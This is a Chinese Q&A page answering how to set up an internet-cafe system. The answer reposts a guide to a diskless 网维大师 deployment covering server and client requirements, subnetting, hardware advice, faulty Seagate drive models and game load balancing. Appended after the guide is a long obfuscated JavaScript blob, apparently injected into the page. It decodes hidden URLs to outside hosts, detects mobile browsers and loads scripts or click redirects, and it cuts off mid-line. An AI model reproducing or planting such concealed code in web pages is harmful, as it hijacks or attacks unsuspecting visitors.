怎么装网吧系统,越详细越好

2024-11-05 06:10:12
推荐回答(1个)
回答1:

网吧系统比较复杂,怎么做的都有。从系统有 有盘得有无盘的、服务器有windows的也有Linix的,挂盘、更新都有很多种的,一二句话也说不清的。不过 前几天看了篇文章觉得不错仅供参考。

无盘网吧方案

强烈建议初次使用网维大师系统虚拟盘的用户严格按照本施工流程进行操作,这样可以保证您可以最快的完成施工部署,同时避免在施工过程中对网吧营业造成影响。

一、系统+虚拟盘方案架构图
二、服务端组件使用环境及功能描述
三、服务器硬件配置方案推荐
四、施工部署流程——A:全新施工
四、施工部署流程——B:升级部署
四、施工部署流程——C:方案转换
五、施工注意事项
一、系统+虚拟盘架构图:

方案核心思路:有盘只负载客户机操作系统,无盘负载客户机操作系统与数据回写,游戏全部部署到游戏虚拟盘运行。

适用环境:网维大师有盘或无盘网吧。
     其他无盘产品结合网维大师游戏更新的网吧。

方案核心优势:

技术维护更简单
告别兼容大难题,不再头疼与第三方无盘软件结合的繁琐操作和兼容冲突问题。
易用性无与伦比,学习简单,使用轻松,20分钟搞定网吧维护。
超高的稳定性,不再奔忙于用户的故障解决,大大降低维护成本。

经营管理更轻松
降低软件投入成本 ,不需多花无盘软件的费用,即可享受顺网提供的无盘网吧整体解决方案。
降低硬件投入成本 ,终结百台机器的网吧万元服务器投资的时代,硬件投资成本下降25%。
提升网吧机器效能,提升网吧客户机的性能提升,上机人多不再卡,长期开机不会慢。
硬件售后更安心,3年质保随时提供配件更换服务。
软件服务更体贴(7*16小时),即便网吧凌晨出现问题,依然有人解决问题。

顾客体验更愉悦
3800G游戏娱乐资源,只要是网上有的游戏,就可以在网吧出现,最大程度满足顾客需求。
轻松享有所有游戏资源,游戏虚拟化方案让有盘、无盘网吧均可以轻松享有所有资源。
更新最及时,网吧顾客不再出现因为游戏更新不及时而出现抱怨。
顾客感受更安全,游戏 二、服务端组件使用环境及功能描述:
  在一个标准的网吧内,有盘至少要1-2个服务端组件(分别为游戏更新组件,即网维大师服务端和游戏虚拟盘组件),而无盘网吧至少需要3个组件(分别为网维大师游戏更新组件、系统虚拟盘组件、游戏虚拟盘组件),这3个组件可以同时安装在同一台服务器上,也可以分开独立安装,它们分别为:

网维大师游戏更新组件(简称游戏更新组件):
  该组件可以用于纯有盘、纯无盘网吧,也可用在有盘无盘混合部署的网吧内,该组件主要是用来提供游戏更新、客户机管理、业务认证等服务。

系统虚拟盘组件(简称系统盘组件):
  该组件主要是在无盘网吧才会用到,该组件是用来提供无盘网吧客户机的C盘操作系统的读与数据回写服务。

游戏虚拟盘组件(简称游戏盘组件):
  该组件可以用于纯有盘、纯无盘网吧,也可用在有盘无盘混合部署的网吧内,该服务器主要是用来为所有客户机提供游戏的读取服务。

具体环境要求,建议您认真阅读,并严格遵守,以减少故障率!

服务端环境要求:

操作系统:
  Windows Server 2003 Enterprise Edition SP2 32bit(荐)【最大可支持64G内存】
  Windows Server 2003 Datacenter Edition SP2 32bit 【最大可支持128G内存】
  Windows Server 2003 R2系列 【最大可支持64G内存】
磁盘格式:NTFS
物理内存:2G或2G以上,具体内存要求请参照标准服务器方案中的要求。
系统服务:
  关闭:Windows Firewall/Internet Connection Sharing (ICS)
  关闭:Server 共享服务
网络协议:
  卸载Qos 数据包计划程序,否则可能导致客户机秒卡。
  安装IPX协议(否则游戏虚拟盘列表可能无爱生活 爱顺网常显示客户机名称)
  关闭网卡的流量控制、巨帧、巨型帧、大量传送负载、TCP/UDP效验和。
缓存工具:
  不推荐在安装有网维大师系列产品的服务器上安装任何缓存或磁盘碎片整理工具,因为这类工具安装后会自动加载自身驱动,即便不去设置或开启这些软件,也可能产生影响,因
此如果您的服务器上安装了这些工具,建议立即卸载,否则可能出现性能下降,服务崩溃重启等问题,例如:
  SuperCache
  Ramdisk
  O&O Defrag
  O&O Clever Cache...
等,这里只提到较为出名的几款工具,如果您安装有上面未被提及的缓存或磁盘碎片整理工具,我们也建议大家卸载,以免引起异常。

磁盘格式化建议:
网维大师游戏更新组件服务器,游戏虚拟盘组件服务器磁盘格式化建议,使用推荐的簇大小格式化服务器硬盘,可有效提高服务器效能。

系统虚拟盘服务器存放img客户机镜像的分区建议用4K簇格式化。
系统虚拟盘服务器回写分区建议4K簇格式化。

客户端环境要求:

操作系统:
  Windows XP Pro SP3(荐)
  Windows XP Pro SP2
磁盘格式:NTFS
分区要求【有盘】:
C盘:5~10G左右,用于安装客户机操作系统。
D盘:8~12G左右,用户缓存游戏虚拟盘数据。
E盘:所有剩余空间,用于安装网维大师客户端或存放其他工具以及游戏。

分区要求【系统虚拟盘】:
C盘:5~10G左右,用于安装客户机操作系统,其他分区无特殊要求。

分区要求【第三方无盘】:
C盘:5~10G左右,用于安装客户机操作系统。
D盘:8~12G左右,用于缓存游戏虚拟盘数据。

物理内存:512以上,无盘客户机建议2G或2G以上内存。
系统服务:
  关闭:Windows Firewall/Internet Connection Sharing (ICS)
  关闭:Server 共享服务
网络协议:
  卸载Qos 数据包计划程序,否则可能导致客户机上传完系统,从无盘启动时报0x0000021a蓝屏错误。
  安装IPX协议(否则游戏虚拟盘列表可能无爱生活 爱顺网常显示客户机名称)
  关闭网卡的流量控制、巨帧、巨型帧、大量传送负载、TCP/UDP效验和。
资源安全性层层把关,配合全方位的安全体系,网吧顾客更安心。

[经验工具]大网吧网络规划以及vlan相关说明,附常用子网掩码与IP地址范围。

最近有些大网吧用户找我咨询,说网维大师不支持vlan吗?为什么网段不同时,客户端母盘施工工具无法获取到客户机IP地址等问题,实际上并不是网维大师不支持vlan,而是vlan是有阻隔广播域功能的,所有广播包在不同的vlan中是无法通讯的,而网维大师客户端施工工具就是使用广播方式寻找服务器并获取客户机信息的,所以在有vlan的环境中,如果客户机与服务器未在同一网段的话,就无法获取客户机信息了。

这里要多大家说的是,其实vlan在网吧的实用性低之又低,完全没什么必要的,至少根据个人经验,800多台网吧的网吧,未划分vlan,也并没有任何问题,因为大网吧面临的不是广播问题,而是核心交换机的背板带宽问题,根据个人经验,500台客户机的网吧,用48Gbps背板带宽的交换机做核心即可,如果超过500台建议使用更大背板的交换机,来满足核心数据处理要求。另外这里还要说明下,其实vlan和raid差不多,并不是说没用,而是说不适合网吧用。

如果不划分vlan,客户机IP地址该如何管理?这可能也是某些用户比较疑惑的,我这里提供一份客户机子网掩码与可用ip端的表单,希望帮助到大家。

子网掩码:255.255.255.0 (可容纳254台机器) 可用IP地址:192.168.0.1~192.168.0.254
子网掩码:255.255.254.0 (可容纳510台机器) 可用IP地址:192.168.0.1~192.168.1.254
子网掩码:255.255.252.0 (可容纳1022台机器) 可用IP地址:192.168.0.1~192.168.3.254
子网掩码:255.255.248.0 (可容纳2046台机器) 可用IP地址:192.168.0.1~192.168.7.254
子网掩码:255.255.240.0 (可容纳4094台机器) 可用IP地址:192.168.0.1~192.168.15.254

注①:服务器与客户机的子网掩码必须一致,否则可能出现客户机启动后停留在tftp....位置就无法进入系统。

在这些网段中,所有IP地址均可互相通讯(包括广播方式),可以使用任意一个可用IP地址作为网关地址,所有客户机只使用这一个网关即可。
另外,子网掩码的选择尽量选择靠近自己网吧规模的即可。

三、服务器硬件配置方案推荐:
  为了方便您根据自己的网吧规模采购相应的服务器配置,我们提供了一些推荐的服务器配置方案供您参考,同时方案中详细的说明了服务端缓存设置、磁盘分区、操作系统选择、注意事项等内容,建议大家作详细的了解,避免施工过程遇到一些不必要的麻烦。
  同时,在方案中主要要求的是服务器的内存容量和硬盘数量,对于服务器的CPU以及主板只要满足内存和硬盘的要求即可,无其他特殊要求:
1、服务器注意事项
服务器操作系统:Windows Server 2003 SP2企业版(最大可支持64G内存)。
无论游戏盘、回写盘均不建议组建Raid。
回写盘使用默认簇(4K)格式化。
游戏盘500G建议使用32K簇格式化,1T以上建议64K簇格式化,可提升出盘速度。
游戏盘只要求数量,不要求容量,如果游戏数量要求不高,用2块500G硬盘也是可以的。
300台以内客户机并不需要使用网卡链路汇聚功能。

2、客户机最低配置
内存:512MB以上,其他无特殊要求。
无盘网吧,建议客户机达到1G或1G以上内存再使用系统虚拟盘(无盘)方案,否则建议使用有盘方案。

3、网络环境要求
千兆/百兆或千兆、百兆混杂均可。
建议全千兆。

4、服务器采购建议
按照您的网吧规模查看相应的服务器配置帖子即可。如果您的网吧规模超过500台客户机可按照如下规则配置服务器:
●按照标准型系统虚拟盘(无盘)服务器,单服带机150~180台计算即可,例如网吧规模1000台客户机,购置5台这样的服务器即可。
●按照豪华型游戏虚拟盘服务器,单服带机500台计算即可,例如网吧规模1000台客户机,购置2台这样的服务器即可。
适用环境:
10~120台客户机的网吧。
服务器数量:
60台客户机配置1台服务器即可。
120台客户机配置2台服务器即可。
如果希望单台服务器带机120台左右,需要将回写盘升级为3块迅猛龙硬盘。
无盘网吧用户可以直接按照帖子中推荐的服务器采购硬件。
   有盘网吧用户,不采购下面配置中的回写盘即可。

121~240台客户机网吧服务器推荐
适用环境:
120~240台客户机的网吧。
无盘网吧用户可以直接按照帖子中推荐的服务器采购硬件。
   同规模的有盘网吧用户,不需要采购下面配置中的系统虚拟盘服务器。

服务器数量:
标准型网维大师(游戏更新)服务器*1台
中级型游戏虚拟盘服务器*1台
标准型系统虚拟盘(无盘)服务器*2台

241~360台客户机网吧服务器推荐

适用环境:
241~360台客户机的网吧。
无盘网吧用户可以直接按照帖子中推荐的服务器采购硬件。
   同规模的有盘网吧用户,不需要采购下面配置中的系统虚拟盘服务器。

服务器数量:
标准型网维大师(游戏更新)服务器*1台
高级型游戏虚拟盘服务器*1台
标准型系统虚拟盘(无盘)服务器*2台

其他说明:
  以下方案均经过各种规模的网吧实际测试,测试经验如下:
1、千兆局域网,单点传输速度可达到30MB/S即可满足方案需求。
2、千兆局域网用64k区块,缓存随机读取方式测速可达60MB/S左右,1MB区块最高传输速度可达90MB/S-102MB/S。
3、受08年末硬盘固件门影响,目前个别硬盘仍存在固件门不稳定情况,建议购买硬盘时与销售上确认保修或换新服务。
4、西部数据代号为EARS的64M缓存硬盘存在技术兼容性问题,因此不建议购置该型号硬盘。
5、百兆网络因受网络自身限制,方案运行效果非常一般,因此建议改造内部网络为千兆。
6、如果客户机内存小于等于1G,建议继续使用有盘方案,客户机内存大于1G时再考虑使用无盘方案。
7、系统虚拟盘要求的是客户机内存越大越好,游戏虚拟盘要求的是服务器内存越大越好。
8、以上配置足以满足相应规模的网吧使用,如果感觉配置要求很低,可以自行提高服务器配置。

郑重提醒:
  强烈建议大家按照网吧规模选择标准配置或者高于标准配置的方案选购服务器,这样可有效避免施工后客户机速度慢,秒卡之类的问题
系统虚拟盘(无盘)服务器灾难备援方案。

1.限制条件:必须有2台或2台以上系统虚拟盘服务器才能使用热备方案。
2.热备弊端:如果1台系统虚拟盘服务器可以单服带机100台,那么开了热备后带机量会减少1倍。
3.热备价值:任意一台服务器宕机后,客户机不会出现假死,秒卡情况。
4.网维大师系统虚拟盘热备开启方法:
a)在A服务器上安装网维大师系统虚拟盘“主服务器”,在安装过程中选择“主服务器”。

b)在B服务器上安装网维大师系统虚拟盘“副服务器”,在安装过程中选择“副服务器”。

c)在主、副服务器都安装好的情况下,在客户机管理中,批量选中需要开启热备功能的客户机,在选中的客户机上,右键=》修改。

b)在批量修改客户机界面中的右下角,勾选“启用热备服务器”即可。
[经验工具]SATA硬盘有固件问题的硬盘型号以及购买建议
在网维大师标准化方案推出之后,因为该方案的使用效果非常不错,所以有非常多的用户开始使用这种方案,当然这些用户不仅仅是网维大师用户,其他产品用户也纷纷加入到网维大师这个大家庭当中,但是也不乏有些用户因为购买到存在质量有问题的硬盘,导致软件经常崩溃,游戏秒卡等问题,虽然硬盘的固件门很流行,但是仍然有较多用户不太清楚有这档子事,所以买到有问题的硬盘了,还被蒙在鼓里,每天在因硬盘问题承受着网民的“狂风怒吼”……
  因为本人也是硬盘固件门受害者之一,因此对之前对固件门也有些许了解,所以今天总结下目前已知存在固件问题的硬盘型号以及固件版本,分享给大家,也非常希望大家来一起参与到这个帖子当中,把自己的受害历程,问题状况,以及帖子中为列出的硬盘型号,但一样疑似存在固件问题的硬盘型号报告上来,避免再次购买到有问题的硬件产品。

  声明:本文目的是为了保障用户利益尽量不受损害,并无恶意诋毁文章提到的硬盘厂商之意,同时这些硬盘厂商也在积极召回有固件问题的硬盘,但是因为某些销售商未能及时将有问题的硬盘返厂导致08年存在问题的硬盘仍然有较多故障货源流通在市场上,给广大用户造成了非常大的损失,在这里也希望以后的硬盘产品能把质量把关好,尽最大努力为用户提供更加稳定的产品。

固件门——希捷
存在固件Bug的硬盘使用现象:在使用过程中,硬盘会无故失去响应,导致系统卡死数秒(时间不等),随后又会自动恢复,同时还存在以下现象。
1:硬盘声音有异响,硬盘在加电后听到咔咔咔的声音,读取数据时尤为明显;
2:硬盘容量丢失,特定表现为LBA值等于零;
3:采用终端通讯发现,用户使用区时常失败,硬盘伴随着响声;
4:用HDTUNE查看硬盘信息时,(05)重新分配扇区数量一项变红;

  希捷官方发布了一份声明,承认部分产品确实存在固件问题,并且问题不仅限于7200.11 1.5TB产品,还包括1TB、750GB、640GB、500GB、320GB、160GB版7200.11系列,以及酷鱼ES.2、SV35系列和迈拓MiamondMax 22系列。希捷表示:出现问题的硬盘主要为2008年12月制造,但此问题不会导致数据丢失,只是会出现短暂“卡死”。希捷官方给出的受影响的产品型号如下:
  但是在官方声明中,受固件门影响的产品型号中并未提及希捷12代硬盘,但实际上个别12代硬盘仍然存在固件门现象,同时并非偶然。

希捷Barracuda(酷鱼)7200.11系列:
ST31000340AS
ST31000640AS
ST3750330AS
ST3750630AS
ST3640330AS
ST3640630AS
ST3500320AS
ST3500620AS
ST3500820AS
ST31500341AS
ST31000333AS
ST3640323AS
ST3640623AS
ST3320613AS
ST3320813AS
ST3160813AS
希捷Barracuda(酷鱼)ES.2系列:
ST31000340NS
ST3750330NS
ST3500320NS
ST3250310NS
迈拓DiamondMax 22系列:
STM31000340AS
STM31000640AS
STM3750330AS
STM3750630AS
STM3500320AS
STM3500620AS
STM3500820AS
STM31000334AS
STM3320614AS
STM3160813AS
希捷Barracuda(酷鱼)7200.12系列:
ST31000528AS
ST3500418AS

如何查看自己硬盘的固件型号?
  目前希捷提供了一个工具,可以用于查看硬盘的型号以及固件型号,大家可以在希捷官网下载:http://support.seagate.com/kbimg/utils/drivedetect.exe

四、施工部署流程

1、全新施工网维大师系统虚拟盘(无盘)网吧方案
  注:系统虚拟盘组件为VIP功能,并且可以免费测试7天,如果您是免费用户并且准备长期测试,建议您联系当地加盟商购买VIP授权后再进行测试,否则7天测试期结束后系统虚拟盘将无法继续提供服务。

  1.注册网维大师帐号
  2.申请网维大师免费VIP体验
  3.安装网维大师游戏更新组件服务端
  4.安装网维大师游戏虚拟盘组件服务端
  5.添加/配置游戏虚拟盘信息
  6.安装网维大师系统虚拟盘(无盘)组件服务端
1)安装说明:
1、安装网维大师系统虚拟盘主服务器组件。
Ⅰ、在网维大师官方网站的下载中心内找到并下载“网维大师”系统虚拟盘服务端(无盘)组件最新版本安装包(该组件为VIP付费组件)。
Ⅱ、确认服务端安装环境符合官方要求的服务端环境。
Ⅲ、安装网维大师系统虚拟盘主服务器组件。

  7.新建客户机系统镜像

  8.批量新增客户机

9.安装网维大师客户端(选择“系统虚拟盘”安装模式)

  10.客户端上传系统镜像

  11.设置网卡启动并登记客户机

以上是经过实际测试。
另:按游戏DP排序均衡负载游戏

问题1:按本地DP或按全局DP均衡负载到两块硬盘的目的是什么?
对于DP的概念为:游戏热门指数,大家可以单纯的理解为游戏点击次数,从某重程度上讲,点击率高的游戏基本就是热门游戏。
而按DP均衡负载游戏就是为了避免配置游戏的时候,把所有热门游戏都配置到同一块SATA硬盘上了,结果导致两块SATA硬盘绝大部分时间只有1块SATA硬盘在工作,最终出现卡机问题。

问题2:为什么是两块SATA硬盘?1块或3块可以吗?
系统+虚拟盘方案不推荐组RAID,因此为了保证性能以及游戏容量,我们一般建议大家用2块1.5TSATA硬盘负载游戏。这样即可保证性能,又可以保证游戏数量。
如果大家的服务器内存比较大(大于8G),或者网吧小于60台就可以只使用1快SATA硬盘即可,如果网吧机器台数比较多,那就必须是2快或多块SATA硬盘,甚至还要增加一块SSD硬盘才可以满足需求。

问题3:如何均衡负载?
均衡负载打个不太适用,但是很贴切的例子为:
比如有4个游戏DP分别为101、93、90、85快硬盘分别为硬盘A,和硬盘B。那么按DP均衡负载的含义就为:
把这些DP的游戏按照DP高低排序后会变成这个顺序:
101DP排序1
93 DP排序2
90 DP排序3
85 DP排序4
DP排序为1、3的游戏配置到硬盘A上。
DP排序为2、4的游戏配置到硬盘B上。

如下图:
1、点本地DP值,从大到小排列。并且按照DP值排序后,跳着选择游戏。

2、右键点游戏配置。

3、弹出游戏配置界面,注意画红圈的部分。

问题4:那么多游戏都要这么配置吗?太麻烦啦。
这种配置方式是最详细的配置方法,也是最细致的配置方法,实际上我们并不需要把所有游戏都这样配置,DP前100的应用这样配置即可,DP100以后的游戏可以扩大游戏选择密度,比如连续选择5个游戏,或者10个游戏均衡一下,或者选择50个或100个游戏配置下,都是可以的。

问题5:我的网维大师服务器原来游戏都放在E盘了,然后现在又加了一快硬盘,我想把网维但是的游戏也按照均衡的概念移动下,该如何操作?
第一步还是按照该图的方式选择游戏。

第二步右键,点击游戏移动到,选择游戏需要移动到的目录。

第三步点击开始,就可以使移动游戏了。如下图。
游戏移动方式为:先把要移动的游戏复制到目标目录,然后程序会自动删除源目录中被移动的游戏。所以不必担心移动失败问题。

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD 